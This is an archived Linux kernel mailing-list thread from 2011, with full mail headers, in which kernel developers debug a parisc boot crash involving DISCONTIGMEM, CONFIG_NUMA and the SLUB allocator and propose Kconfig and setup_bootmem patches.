On Wed, 20 Apr 2011, KOSAKI Motohiro wrote:

> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 69ff049..0bf9ae8 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -229,6 +229,12 @@ config HOTPLUG_CPU
>  	default y if SMP
>  	select HOTPLUG
>  
> +config NUMA
> +	bool "NUMA support"
> +	help
> +	  Say Y to compile the kernel to support NUMA (Non-Uniform Memory
> +	  Access).
> +
>  config ARCH_SELECT_MEMORY_MODEL
>  	def_bool y
>  	depends on 64BIT
> @@ -236,6 +242,7 @@ config ARCH_SELECT_MEMORY_MODEL
>  config ARCH_DISCONTIGMEM_ENABLE
>  	def_bool y
>  	depends on 64BIT
> +	depends on NUMA
>  
>  config ARCH_FLATMEM_ENABLE
>  	def_bool y

I think this should probably be

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -244,6 +244,9 @@ config ARCH_DISCONTIGMEM_DEFAULT
 	def_bool y
 	depends on ARCH_DISCONTIGMEM_ENABLE
 
+config NUMA
+	def_bool ARCH_DISCONTIGMEM_ENABLE
+
 config NODES_SHIFT
 	int
 	default "3"

instead since we don't need CONFIG_NUMA for anything other than 
CONFIG_PA8X00 and 64-bit enabled.

From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 14:18:54 -0700 (PDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420174027.4631.A69D9226@jp.fujitsu.com> <1303317178.2587.30.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303334355 16980 80.91.229.12 (20 Apr 2011 21:19:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 21:19:15 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 23:19:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCenl-0000Rh-0s
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 23:19:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755998Ab1DTVTE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 17:19:04 -0400
Original-Received: from smtp-out.google.com ([216.239.44.51]:32512 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755887Ab1DTVTB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 17:19:01 -0400
Original-Received: from wpaz17.hot.corp.google.com (wpaz17.hot.corp.google.com [172.24.198.81])
	by smtp-out.google.com with ESMTP id p3KLIwfB019992
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:18:58 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303334340; bh=S1baZnqOIOOIs/1LyjRgkFS7b6Q=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=pYwFmCGE77rbK8vtqBy1RlRKz7Qg41cbcB/WUri2TJl9sNZu9wkEzWaVx45mjmfe9
	 nKzHN4CztjGIxQOBpM27Q==
Original-Received: from pzk9 (pzk9.prod.google.com [10.243.19.137])
	by wpaz17.hot.corp.google.com with ESMTP id p3KLIuDl025051
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:18:57 -0700
Original-Received: by pzk9 with SMTP id 9so810815pzk.33
        for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:18:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=HGlnen5A97yh+sMD9GxUmTyDOPGhehEisDCKIWJFaY0=;
        b=jnLo9SYMAbH5rsDTJKqKVkWrwMnbxw4maanr1yYxfDLPItnphOoKqoSJhlarLmBt69
         Dlu4iEMe6zrOdX/qBuuw==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=j59edmGpDlTsWsZZItswAD0UrJOQKO36/B9gdtXbGvsUV0gH+wr2Kg5mfUDOVNVW4l
         Bc3NFqEiFUUXotYdKyFA==
Original-Received: by 10.68.9.168 with SMTP id a8mr11415520pbb.481.1303334336051;
        Wed, 20 Apr 2011 14:18:56 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id x6sm852428pbs.1.2011.04.20.14.18.54
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 14:18:55 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <1303317178.2587.30.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3628 gmane.linux.kernel.mm:61711 gmane.linux.kernel:1129252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3628>

On Wed, 20 Apr 2011, James Bottomley wrote:

> [    0.200000] Backtrace:
> [    0.200000]  [<000000004021c938>] add_partial+0x28/0x98
> [    0.200000]  [<000000004021faa0>] __slab_free+0x1d0/0x1d8
> [    0.200000]  [<000000004021fd04>] kmem_cache_free+0xc4/0x128
> [    0.200000]  [<000000004033bf9c>] ida_get_new_above+0x21c/0x2c0
> [    0.200000]  [<00000000402a8980>] sysfs_new_dirent+0xd0/0x238
> [    0.200000]  [<00000000402a974c>] create_dir+0x5c/0x168
> [    0.200000]  [<00000000402a9ab0>] sysfs_create_dir+0x98/0x128
> [    0.200000]  [<000000004033d6c4>] kobject_add_internal+0x114/0x258
> [    0.200000]  [<000000004033d9ac>] kobject_add_varg+0x7c/0xa0
> [    0.200000]  [<000000004033df20>] kobject_add+0x50/0x90
> [    0.200000]  [<000000004033dfb4>] kobject_create_and_add+0x54/0xc8
> [    0.200000]  [<00000000407862a0>] cgroup_init+0x138/0x1f0
> [    0.200000]  [<000000004077ce50>] start_kernel+0x5a0/0x840
> [    0.200000]  [<000000004011fa3c>] start_parisc+0xa4/0xb8
> [    0.200000]  [<00000000404bb034>] packet_ioctl+0x16c/0x208
> [    0.200000]  [<000000004049ac30>] ip_mroute_setsockopt+0x260/0xf20
> [    0.200000] 

This is probably because the parisc's DISCONTIGMEM memory ranges don't 
have bits set in N_NORMAL_MEMORY.

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
 	}
 	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
 
-	for (i = 0; i < npmem_ranges; i++)
+	for (i = 0; i < npmem_ranges; i++) {
+		node_set_state(i, N_NORMAL_MEMORY);
 		node_set_online(i);
+	}
 #endif
 
 	/*
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 14:34:41 -0700 (PDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201425020.31768@chino.kir.corp.google.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420112020.GA31296@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303335302 21838 80.91.229.12 (20 Apr 2011 21:35:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 21:35:02 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>,
        KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
        Christoph Lameter <cl@linux.com>,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        Michal Hocko <mhocko@suse.cz>,
        Andrew Morton <akpm@linux-foundation.org>,
        Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
        LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
        Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 23:34:55 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCf2z-0001Zv-Td
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 23:34:54 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id BCC238D0040; Wed, 20 Apr 2011 17:34:51 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7FFED8D003B; Wed, 20 Apr 2011 17:34:50 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B61E58D0040; Wed, 20 Apr 2011 17:34:50 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail190.messagelabs.com (mail190.messagelabs.com [216.82.249.51])
	by kanga.kvack.org (Postfix) with ESMTP id 5C4A58D003B
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 17:34:49 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: rientjes@google.com
X-Msg-Ref: server-5.tower-190.messagelabs.com!1303335286!53364150!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [216.239.44.51]
X-SpamReason: No, hits=0.3 required=7.0 tests=RCVD_BY_IP,UPPERCASE_25_50
Original-Received: (qmail 10000 invoked from network); 20 Apr 2011 21:34:47 -0000
Original-Received: from smtp-out.google.com (HELO smtp-out.google.com) (216.239.44.51)
  by server-5.tower-190.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 20 Apr 2011 21:34:47 -0000
Original-Received: from kpbe13.cbf.corp.google.com (kpbe13.cbf.corp.google.com [172.25.105.77])
	by smtp-out.google.com with ESMTP id p3KLYkob027422
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 14:34:46 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303335286; bh=10lOgorkthVexyPQCHxPR5rYsHA=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=Cr6HIZohaQwUDlKAYJi+MsQY6P3an1PfspeTkh1Mjf45x4bMyvu+MNxkB+WV5g4cN
	 2mAXM7dRrw9gjC0WIOi+w==
Original-Received: from pxi17 (pxi17.prod.google.com [10.243.27.17])
	by kpbe13.cbf.corp.google.com with ESMTP id p3KLYiSN024802
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 14:34:44 -0700
Original-Received: by pxi17 with SMTP id 17so758276pxi.20
        for <linux-mm@kvack.org>; Wed, 20 Apr 2011 14:34:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=Fyg0j5aPUuRRPPUOd7Jqzh5OgJhALEBbSR+7JSW51vg=;
        b=ahhmKk9HDay4tZcAFfMK3EbaejYW+H5hcRJb/l+48UT7OM063mP61Ag57Uof8dklj7
         pDy+/h7bPzZhv0UAR0wQ==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=JT7sDk2VlavDrZpitdD2iGkvH85qOmE7NUgU1u6KDozONkZ+tzy+RjoHhZaxGoWI3d
         LlMQGpS76vTnTrvI2L5w==
Original-Received: by 10.142.202.2 with SMTP id z2mr4369253wff.266.1303335283869;
        Wed, 20 Apr 2011 14:34:43 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id o1sm1669909wfl.21.2011.04.20.14.34.42
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 14:34:42 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <20110420112020.GA31296@parisc-linux.org>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61712 gmane.linux.kernel:1129255 gmane.linux.ports.parisc:3629
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61712>

On Wed, 20 Apr 2011, Matthew Wilcox wrote:

> > That part makes me think the best option is to make parisc do
> > CONFIG_NUMA as well regardless of the historical intent was.
> 
> But it's not just parisc.  It's six other architectures as well, some
> of which aren't even SMP.  Does !SMP && NUMA make any kind of sense?
> 

It does as long as DISCONTIGMEM is hijacking NUMA abstractions throughout 
the code; for example, look at the .config that James is probably using 
for testing here:

	CONFIG_PA8X00=y
	CONFIG_64BIT=y
	CONFIG_DISCONTIGMEM=y
	CONFIG_NEED_MULTIPLE_NODES=y
	CONFIG_NODES_SHIFT=3

and CONFIG_NUMA is not enabled.  So we want CONFIG_NODES_SHIFT of 3 
(because MAX_PHYSMEM_RANGES is 8) and CONFIG_NEED_MULTIPLE_NODES is 
enabled because of DISCONTIGMEM:

	#
	# Both the NUMA code and DISCONTIGMEM use arrays of pg_data_t's
	# to represent different areas of memory.  This variable allows
	# those dependencies to exist individually.
	#
	config NEED_MULTIPLE_NODES
		def_bool y
		depends on DISCONTIGMEM || NUMA

when in reality we should do away with CONFIG_NEED_MULTIPLE_NODES and just 
force DISCONTIGMEM to enable CONFIG_NUMA at least for -stable and as a 
quick fix for James.

In the long run, we'll probably want to define a lighterweight CONFIG_NUMA 
as a layer that CONFIG_DISCONTIGMEM can use for memory range abstractions 
and then CONFIG_NUMA is built on top of it to define proximity between 
those ranges.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 14:42:26 -0700 (PDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201437180.31768@chino.kir.corp.google.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>  <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>  <20110420161615.462D.A69D9226@jp.fujitsu.com>  <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>  <20110420112020.GA31296@parisc-linux.org>
 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>  <1303308938.2587.8.camel@mulgrave.site>  <alpine.DEB.2.00.1104200943580.9266@router.home> <1303311779.2587.19.camel@mulgrave.site> <alpine.DEB.2.00.1104201018360.9266@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303335762 24438 80.91.229.12 (20 Apr 2011 21:42:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 21:42:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>, linux-arch@vger.kernel.org,
	Mel Gorman <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 23:42:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCfAR-00064n-DZ
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 23:42:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753180Ab1DTVmf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 17:42:35 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:51886 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752983Ab1DTVmd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 17:42:33 -0400
Original-Received: from wpaz9.hot.corp.google.com (wpaz9.hot.corp.google.com [172.24.198.73])
	by smtp-out.google.com with ESMTP id p3KLgTlE028318
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:42:30 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303335752; bh=5FINPxk0iYUaSqmXdlZNvxL1eyM=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=nNVUZ7yzCpgtz8w9Q8NBGfdgakoF7C53cMECPiHawrJ3+tRWnTqBLJOMJxLf69v60
	 j9eMnU4Th+GpjXmIkH8kg==
Original-Received: from pwi5 (pwi5.prod.google.com [10.241.219.5])
	by wpaz9.hot.corp.google.com with ESMTP id p3KLfk8m013711
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:42:28 -0700
Original-Received: by pwi5 with SMTP id 5so659687pwi.3
        for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 14:42:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=9wsDsQxV9MivYF34qp/3BbUBDsbIJ9qjMKnKRIj0kU8=;
        b=ulwkoAOPUsFnzTkidevQDAkLVWdiLmCGUGlvNXIOqA+vAOxRdbNMa+bf0Wpndcbzl6
         Qd5TOCH4ljwwSGPg0GyQ==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=kBv3U6iiG4EeWBlKjmuWqcYyjI0n7ycg+5SEeREfYsjlFxIGn0YBJKkEvDc3w1R6gs
         GzaV0ZTHYOJftFQI8hSw==
Original-Received: by 10.68.7.230 with SMTP id m6mr11800454pba.9.1303335748208;
        Wed, 20 Apr 2011 14:42:28 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id r5sm857237pbe.101.2011.04.20.14.42.27
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 14:42:27 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <alpine.DEB.2.00.1104201018360.9266@router.home>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3630 gmane.linux.kernel.mm:61713 gmane.linux.kernel:1129256 gmane.linux.kernel.cross-arch:9631
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3630>

On Wed, 20 Apr 2011, Christoph Lameter wrote:

> There is barely any testing going on at all of this since we have had this
> issue for more than 5 years and have not noticed it. The absence of bug
> reports therefore proves nothing. Code inspection of the VM shows
> that this is an issue that arises in multiple subsystems and that we have
> VM_BUG_ONs in the page allocator that should trigger for these situations.
> 
> Usage of DISCONTIGMEM and !NUMA is not safe and should be flagged as such.
> 

We don't actually have any bug reports in front of us that show anything 
else in the VM other than slub has issues with this configuration, so 
marking them as broken is probably premature.  The parisc config that 
triggered this debugging enables CONFIG_SLAB by default, so it probably 
has gone unnoticed just because nobody other than James has actually tried 
it on hppa64.

Let's see if KOSAKI-san's fixes to Kconfig (even though I'd prefer the 
simpler and implicit "config NUMA def_bool ARCH_DISCONTIGMEM_ENABLE" over 
his config NUMA) and my fix to parisc to set the bit in N_NORMAL_MEMORY 
so that CONFIG_SLUB initializes kmem_cache_node correctly works and then 
address issues in the core VM as they arise.  Presumably someone has been 
running DISCONTIGMEM on hppa64 in the past five years without issues with 
defconfig, so the issue here may just be slub.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 17:15:18 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1303337718.2587.51.camel@mulgrave.site>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420174027.4631.A69D9226@jp.fujitsu.com>
	 <1303317178.2587.30.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303337734 2587 80.91.229.12 (20 Apr 2011 22:15:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 22:15:34 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 00:15:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCfgC-00044M-Li
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 00:15:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755655Ab1DTWPY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 18:15:24 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59062 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755639Ab1DTWPX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 18:15:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 084B48EE0A4;
	Wed, 20 Apr 2011 15:15:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id M3hdFsOZ2WEa; Wed, 20 Apr 2011 15:15:22 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F11628EE01D;
	Wed, 20 Apr 2011 15:15:20 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3631 gmane.linux.kernel.mm:61714 gmane.linux.kernel:1129260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3631>

On Wed, 2011-04-20 at 14:18 -0700, David Rientjes wrote:
> This is probably because the parisc's DISCONTIGMEM memory ranges don't 
> have bits set in N_NORMAL_MEMORY.
> 
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
>  	}
>  	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
>  
> -	for (i = 0; i < npmem_ranges; i++)
> +	for (i = 0; i < npmem_ranges; i++) {
> +		node_set_state(i, N_NORMAL_MEMORY);
>  		node_set_online(i);
> +	}
>  #endif

Yes, this seems to be the missing piece that gets it to boot.  We really
need this in generic code, unless someone wants to run through all the
other arch's doing it ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


